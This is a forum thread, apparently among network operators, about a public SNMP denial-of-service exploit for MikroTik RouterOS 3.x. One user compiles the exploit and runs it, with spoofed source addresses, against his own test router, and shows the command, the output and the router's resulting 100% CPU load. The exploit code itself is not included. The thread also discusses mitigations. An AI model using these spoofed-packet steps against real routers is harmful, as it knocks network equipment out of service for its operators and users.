I don’t know if anyone else has seen this, but here is the exploit:
http://www.milw0rm.com/exploits/5054
or you can go to the front page:
And see it there. I have not tried the exploit on any of my routers, but I can, if you all need me to confirm it.
I tried it. It made my test MT go to 100% cpu and be slow and start to lose memory. I had read about this problem last week, but had ignored it as it was said to be something to do with snmp write, which I’d never enabled/setup on the MT. The script apparently has some means of faking the source address, and I haven’t tested whether that is capable of bypassing the address range limits I always setup with snmp. I would always recommend limiting the addresses that can talk snmp with your networking gear regardless of this particular issue, as there is a great deal of interesting information that can be obtained with snmp. A reboot of the MT fixed the DoS instance. I’d call it a successful DoS.
jp@xj13:~> pico -w mt.c
(copied and pasted code from web browser)
jp@xj13:~> gcc -o mtcrash mt.c
jp@xj13:~>
(telneted to MT)
[admin@MikroTik] /snmp> /snmp set enabled=yes
[admin@MikroTik] /snmp> / snmp community set public name="public" address=10.0.0.0/8 read-access=yes
[admin@MikroTik] /snmp> print
enabled: yes
contact: ""
location: ""
engine-id: ""
engine-boots: 0
time-window: 15
trap-sink: 0.0.0.0
trap-community: (unknown)
trap-version: 1
[admin@MikroTik] /snmp> /quit
interrupted
Connection closed by foreign host.
jp@xj13:~> snmpwalk -v1 -cpublic 10.0.2.163
SNMPv2-MIB::sysDescr.0 = STRING: router
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.14988.1
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (2297300) 6:22:53.00
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: MikroTik
SNMPv2-MIB::sysLocation.0 = STRING:
SNMPv2-MIB::sysServices.0 = INTEGER: 78
IF-MIB::ifNumber.0 = INTEGER: 2
IF-MIB::ifIndex.1 = INTEGER: 1
IF-MIB::ifIndex.2 = INTEGER: 2
IF-MIB::ifDescr.1 = STRING: ether1
jp@xj13:~> su -c "./mtcrash -s 10.0.54.2 -d 10.0.2.163 -c public"
Password:
Ok, spoofing packets from 10.0.54.2 to 10.0.2.163
Sent packet. SNMPd must be down.
jp@xj13:~> snmpwalk -v1 -cpublic 10.0.2.163
jp@xj13:~> ping -n 10.0.2.163
PING 10.0.2.163 (10.0.2.163) 56(84) bytes of data.
64 bytes from 10.0.2.163: icmp_seq=1 ttl=62 time=49.7 ms
64 bytes from 10.0.2.163: icmp_seq=2 ttl=62 time=28.4 ms
--- 10.0.2.163 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 28.413/39.066/49.719/10.653 ms
jp@xj13:~> telnet 10.0.2.163
Trying 10.0.2.163...
Connected to 10.0.2.163.
Escape character is '^]'.
MikroTik v3.2
Login: admin
Password:
MMM MMM KKK TTTTTTTTTTT KKK
MMMM MMMM KKK TTTTTTTTTTT KKK
MMM MMMM MMM III KKK KKK RRRRRR OOOOOO TTT III KKK KKK
MMM MM MMM III KKKKK RRR RRR OOO OOO TTT III KKKKK
MMM MMM III KKK KKK RRRRRR OOO OOO TTT III KKK KKK
MMM MMM III KKK KKK RRR RRR OOOOOO TTT III KKK KKK
MikroTik RouterOS 3.2 (c) 1999-2008 http://www.mikrotik.com/
Property of Midcoast Internet Solutions 2075948277 or www.midcoast.com
Unauthorized access will be prosecuted.
All Access is logged.
[admin@MikroTik] > sys res print
bad command name res (line 1 column 5)
[admin@MikroTik] > /system resource print
uptime: 6h25m34s
version: "3.2"
free-memory: 3456kB
total-memory: 13964kB
cpu: "MIPS 4Kc V0.11"
cpu-count: 1
cpu-frequency: 175MHz
cpu-load: 100
free-hdd-space: 33696kB
total-hdd-space: 61440kB
write-sect-since-reboot: 513
write-sect-total: 197504
bad-blocks: 0
[admin@MikroTik] >
Yes, this script bypasses the address range specified in MT via it’s source address spoofing. I tried it from another machine with a real internet IP only on it. (Not part of my 10-net). I captured the packet while I was at it.
Same effect on the MT. CPU goes to 100%.
After this, I downgraded to 2.9.50 and the script had no effect. Must be a 3.x problem.
peaberry:~ # tcpdump -n -i eth3 src or dst 10.0.2.163 -w capture.txt
tcpdump: listening on eth3, link-type EN10MB (Ethernet), capture size 96 bytes
1 packets captured
2 packets received by filter
0 packets dropped by kernel
peaberry:~ #
jp@peaberry:~> su -c "./mtcrash -s 10.0.54.2 -d 10.0.2.163 -c public"
Password:
Ok, spoofing packets from 10.0.54.2 to 10.0.2.163
Sent packet. SNMPd must be down.
jp@peaberry:~>
jp - thanks for investigating more. Can you determine if the community string is secret that it’s still a vulnerability?
There should not be such problem at 3.3
It does not have an effect if you use a “secret” non-standard community string. Since snmp isn’t encrypted, it’s not very secret of course.
Perhaps the programmer responsible should have to make 100 handmade cat5e patch cables, or answer 100 end user support calls as discipline.